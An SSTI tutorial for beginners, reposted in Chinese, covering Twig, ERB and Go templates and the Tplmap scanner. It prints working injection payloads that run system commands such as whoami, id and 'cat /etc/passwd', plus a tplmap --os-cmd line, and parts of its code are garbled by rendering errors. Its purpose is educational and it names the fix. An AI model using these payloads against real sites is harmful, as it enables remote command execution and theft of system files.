适合小白学的基础知识—SSTI漏洞学习
SSTI 簡(jiǎn)介
MVC
MVC是一種框架型模式,全名是Model View Controller。
即模型(model)-視圖(view)-控制器(controller)
在MVC的指導(dǎo)下開發(fā)中用一種業(yè)務(wù)邏輯、數(shù)據(jù)、界面顯示分離的方法組織代碼,將業(yè)務(wù)邏輯聚集到一個(gè)部件里面,在改進(jìn)和個(gè)性化定制界面及用戶交互的同時(shí),得到更好的開發(fā)和維護(hù)效率。
在MVC框架中,用戶的輸入通過 View 接收,交給 Controller ,然后由 Controller 調(diào)用 Model 或者其他的 Controller 進(jìn)行處理,最后再返回給 View ,這樣就最終顯示在我們的面前了,那么這里的 View 中就會(huì)大量地用到一種叫做模板的技術(shù)。
繞過服務(wù)端接收了用戶的惡意輸入以后,未經(jīng)任何處理就將其作為 Web 應(yīng)用模板內(nèi)容的一部分,而模板引擎在進(jìn)行目標(biāo)編譯渲染的過程中,執(zhí)行了用戶插入的可以破壞模板的語句,就會(huì)導(dǎo)致敏感信息泄露、代碼執(zhí)行、GetShell 等問題.
雖然市面上關(guān)于SSTI的題大都出在python上,但是這種攻擊方式請(qǐng)不要認(rèn)為只存在于 Python 中,凡是使用模板的地方都可能會(huì)出現(xiàn) SSTI 的問題,SSTI 不屬于任何一種語言。
常見的模板引擎和注入漏洞
Twig(PHP)
首先以Twig模板引擎介紹SSTI,很多時(shí)候,SSTI發(fā)生在直接將用戶輸入作為模板,比如下面的代碼
createTemplate時(shí)注入了$_GET[‘name’],就會(huì)引發(fā)SSTI
而如下代碼則不會(huì),因?yàn)槟0逡娼馕龅氖亲址A恐械膡{name}},而不是動(dòng)態(tài)拼接的$_GET[“name”]
<?php require_once "./vendor/autoload.php";$loader = new \Twig\Loader\ArrayLoader(['index' => 'Hello {{ name }}!', ]); $twig = new \Twig\Environment($loader);echo $twig->render('index', array("name" => $_GET["name"]));而對(duì)于模板引擎的利用,往往是借助模板中的一些方法實(shí)現(xiàn)攻擊目的,比如Twig中的過濾器map
舉個(gè)經(jīng)典的例子
{{[“man”]|map((arg)=>“hello #{arg}”)}}
會(huì)被編譯成下面這樣
twig_array_map([0 => “id”], function (KaTeX parse error: Expected group after '_' at position 1: _?_arg__) use (context, $macros) { $context[“arg”] = KaTeX parse error: Expected group after '_' at position 1: _?_arg__; return …context[“arg”] ?? null))
關(guān)于這個(gè)twig_array_map,源碼中是這樣的
可以看到傳入的$arrow被當(dāng)作函數(shù)執(zhí)行,那么可以不傳arrow function,可以只傳一個(gè)字符串,找個(gè)兩個(gè)參數(shù)的能夠命令執(zhí)行的危險(xiǎn)函數(shù)即可
比如
{{["id"]|map("system")|join(",")}} {{["phpinfo();"]|map("assert")|join(",")}} {{["id", 0]|map("passthru")}}類似的,我們還可以找到一些其他的過濾器sort,filiter,網(wǎng)上也有較多介紹,就不再贅述了。
當(dāng)然,SSTI還有一種基礎(chǔ)的利用方式就是用來泄露源碼和程序環(huán)境中的上下文信息,在Twig引擎中,我們可以通過下面方法獲得一些關(guān)于當(dāng)前應(yīng)用的信息
{{_self}} #指向當(dāng)前應(yīng)用 {{_self.env}} {{dump(app)}} {{app.request.server.all|join(',')}}ERB(Ruby)
相較于Twig,ERB的代碼直接提供了一些命令執(zhí)行的接口,比如
<%= system("whoami") %> <%= system('cat /etc/passwd') %> <%= `ls /` %> <%= IO.popen('ls /').readlines() %>這里提起他主要是引出模板標(biāo)簽的一些分類
比如這里的ERB模板標(biāo)簽使用<%= %>,Twig使用{{}},根據(jù)一些簡(jiǎn)單的poc和標(biāo)簽的分類,我們可以快速識(shí)別出是否存在模板漏洞以及所使用的模板引擎技術(shù)
當(dāng)然有些模板引擎的標(biāo)簽是可以自定義的,上面列出的只是默認(rèn)情況
Golang SSTI關(guān)于Golang Template的SSTI研究目前來說還比較少,可能是因?yàn)楸旧碓O(shè)計(jì)的也比較安全。
不過通過{{.}}我們可以獲得到作用域
比如在下面這個(gè)例子中
package mainimport ("html/template""net/http" )func handler(w http.ResponseWriter, r *http.Request) {//var name = ""r.ParseForm() // Parses the request bodyx := r.Form.Get("name")var test map[string]interface{}test = make(map[string]interface{})var secret map[string]interface{}secret = make(map[string]interface{})flag := "flag{testflag}"secret["flag"] = &flagtest["secret"] = secretvar tmpl = `<!DOCTYPE html><html><body> <form action="/" method="post">First name:<br> <input type="text" name="name" value=""> <input type="submit" value="Submit"> </form><p>` + x + ` </p></body></html>`t := template.New("main") //name of the template is maint, _ = t.Parse(tmpl) // parsing of template stringt.Execute(w, test) }func main() {server := http.Server{Addr: "0.0.0.0:5090",}http.HandleFunc("/", handler)server.ListenAndServe() }可以獲取到作用域?qū)ο?/p>
進(jìn)一步可以獲得flag
甚至如果在作用域中存在可以利用的函數(shù),我們還可以調(diào)用該函數(shù)完成攻擊,比如
type User struct {ID intEmail stringPassword string }func (u User) System(test string) string {out, _ := exec.Command(test).CombinedOutput()return string(out) }就有
Flask/Jinja
這個(gè)引擎應(yīng)該是出鏡率最高的了,能寫的東西也很多,由于篇幅所限,具體內(nèi)容會(huì)在(下)中展開記錄。
常用檢測(cè)工具 Tplmap
工具地址:https://github.com/epinna/tplmap
和sqlmap的設(shè)計(jì)風(fēng)格一致,直接懟就行
/tplmap.py --os-cmd -u 'http://www.target.com/page?name=John'總結(jié)
SSTI在MVC架構(gòu)中是經(jīng)常出現(xiàn)的一類問題,除去本文中介紹的幾個(gè)引擎,還有許多受影響的引擎,比如Velocity 等。該問題主要是由于開發(fā)者直接將用戶輸入作為模板交給模板引擎渲染導(dǎo)致的,將用戶輸入綁定到模板的參數(shù)中可以緩解這一問題。通過SSTI,我們往往可以獲取到程序運(yùn)行的上下文環(huán)境,甚至利用模板引擎的內(nèi)置方法完成遠(yuǎn)程代碼注入等高危攻擊。
我整理了網(wǎng)絡(luò)安全的學(xué)習(xí)資料與指導(dǎo)書籍
吃碗面壓壓驚
總結(jié)
以上是生活随笔為你收集整理的适合小白学的基础知识—SSTI漏洞学习的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 从Github一开源项目ADSEC【学习
- 下一篇: vulnhub_内网渗透测试的记录——网